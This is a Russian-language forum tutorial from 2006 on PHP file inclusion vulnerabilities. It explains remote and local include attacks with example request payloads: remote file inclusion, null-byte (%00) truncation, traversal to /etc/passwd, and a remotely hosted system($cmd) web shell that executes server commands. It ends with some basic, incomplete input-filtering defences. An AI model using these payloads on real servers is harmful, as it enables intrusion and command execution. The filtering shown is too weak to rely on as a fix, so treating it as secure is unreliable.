PHP Including FAQ

Discussion in 'Уязвимости' started by kot777, 29 Apr 2006.

Thread Status:
Not open for further replies.
  1. kot777

    kot777 O-la-la!

    Joined:
    13 Aug 2004
    Messages:
    588
    Likes Received:
    435
    Reputations:
    454
    Php including - является одной из самых опасных ошибок разработчиков веб-сайтов.
    Что же такое php including? Под ним подразумевают внедрение произвольного php кода в страницу.
    Для начала рассмотрим техническую сторону вопроса ,т.е. из-за чего происходит внедрение кода.
    Вот допустим есть файл index.php и в нем код:

    Code:
    <?
    echo "Конфигурация:<br>";
    include "config.php";
    ?>
    
    а в файле config.php содержится такой текст:
    Code:
    <?
    echo "Процессор:1,7<br>Видеоркарта:64 МБ";
    ?>
    
    Примечание:
    <?
    Эти знаки показывают что между ними будет находиться php код.
    ?>
    <br> переход на новую строку.
    include: функция включения другого файла.

    Для файла index.php интерпритатор php будет иметь вид

    Code:
    <?
    echo "Конфигурация:<br>";
    echo "Процессор:1,7<br>Видеоркарта:64 МБ";
    ?>
    
    т.е. вместо include выведится содержимое того файла.

    Здесь рассматривался пример как в php происходит жесткий инклуд(когда файл который нужно проинклудить жестко определен в коде и не может быть изменен), теперь рассмотрим какие же бывают случаи когда файл можно задать самому.
    Пример:
    Code:
    файл index.php
    <?
    if($page!='')
    include "$page";
    ?>
    
    здесь вначале проверяется, не пустой ли параметр $page, если не пустой, тогда он инклудиться, и если мы сделаем такой запрос
    index.php?page=config.php
    то на экране нам покажеться

    Code:
    Процессор:1,7
    Видеоркарта:64 МБ
    
    казалось бы тут не может быть опасности, а она тут есть.
    Вы можете подумать что можно инклудить только те файлы которые есть в этой
    папке (или вообще на сервере) ,а вот и нет.
    Можно инклудить и удаленные(не те которые удалили, а те которые находяться в другом месте) файлы.
    вот например так:
    создадим на narod.ru сайт sec.narod.ru и поместим туда файл
    index.php с таким содержимым:

    Code:
    <?
    echo "Этот пример показывает, что инклудить можно удаленные файлы";
    ?>
    
    и сделаем такой запрос:
    index.php?page=http://sec.narod.ru/index.php
    и у нас отобразиться:
    Этот пример показывает, что инклудить можно удаленные файлы

    Иногда разработчики делают такую "защиту":
    файл index.php

    Code:
    <?
    if($page!='')
    include "$page.php";
    ?>
    
    Но если мы сделаем такой запрос
    index.php?page=http://sec.narod.ru/index
    то интерпретатор php автоматически добавит .php к нашему запросу, и

    параметр $page будет иметь такой вид:
    page=http://sec.narod.ru/index.php

    Примечание:
    инклудить можно не только *.php файлы, а файлы с любым расширением, лишь бы
    там был написан php код.
    Еще разработчики, иногда делают такую защиту

    Code:
    <?
    if($page!='')
    include "$page.jpg";
    ?>
    
    Наивно полагают что будут инклудиться только картинки. Иногда они правы, а иногда и нет.
    Существует такое понятие как ноль(он же %00 и \x00 ).
    Примечание:
    Ноль является символом перехода строки.
    Рассмотрим на практике как он работает.
    если послать такой запрос

    index.php?page=http://sec.narod.ru/index.php
    то интерпретатор php присвоит переменной $page такое значение:
    page=http://sec.narod.ru/index.php.jpg
    А теперь попробуем составить запрос с нулем:
    index.php?page=http://sec.narod.ru/index.php%00
    и переменной $page присвоиться такое значение
    Код:

    page=http://sec.narod.ru/index.php[NULL].jpg

    и для интерпретатора уже будет иметь такой вид:
    page=http://sec.narod.ru/index.php
    Давайте рассмотрим как же можно защищаться от таких опасных ошибок:
    Можно защищаться функцией file_exists
    эта функция проверяет существует ли такой файл или нет.
    Например

    Code:
    <?
    $page = "../../files/$page.php";
    if(file_exists($page))
    include $page;
    ?>
    
    здесь она проверяет есть ли такой файл или нет и затем его инклудит.

    Есть одно важное "НО" функция не работает с удаленными файлами, т.е. в этом случае

    мы не сможем делать такие запросы:
    index.php?page=http://sec.narod.ru/index.php
    Причем параметр $page должен находиться в папке /files/
    Опасность резко снижаеться, но возникает теперь другая проблема, если мы
    имеем право инклудить только локальные файлы, так почему же нам это не
    сделать? и напишем такой запрос
    index.php?page=../../../../../../../../etc/passwd
    и на покажется файл passwd
    Поэтому нужно еще как нибудь обезопасить себя, например если вырезать ненужные символы.
    Вот код который обезопасит вас от php инклудов

    Code:
    <?
    $page=str_replace("/","",$page);
    $page=str_replace(".","",$page);
    if(file_exists($page))
    include "/files/$page";
    ?>
    
    Примечание:
    функция str_replace (синтаксис $str=str_replace($str1,$str2,$page))заменяет первую строку $str1 второй
    строкой $str2 в параметре $page
    Итак мы научились пользоваться и защищаться от php инклудов. "Ну и что из
    этого что можно проинклудить файл" - Спросите вы.
    А дело в том что если мы можем инклудить php код, то мы можем исполнять
    команды на сервере
    пример:
    создадим на sec.narod.ru файл main.txt с содержимым:

    Code:
    <?
    system($cmd);
    ?>
    
    и сделаем такой запрос:
    index.php?page=http://sec.narod.ru/main.txt&cmd=ls
    и у нас отобразиться команда ls
    примечание:
    команда ls выводит список файлов в линуксе, в виндоусе такая команда - dir
    Автор FAQ - kot777 и k1b0rg (специально для ачата и моего раздела =) )
    Так же по этой же теме можно прочитать - вот эту статью
    http://forum.antichat.ru/threadnav12123-1-10.html
     
    #1 kot777, 29 Apr 2006
    Last edited: 29 Apr 2006
    8 people like this.
  2. kot777

    kot777 O-la-la!

    Joined:
    13 Aug 2004
    Messages:
    588
    Likes Received:
    435
    Reputations:
    454
Thread Status:
Not open for further replies.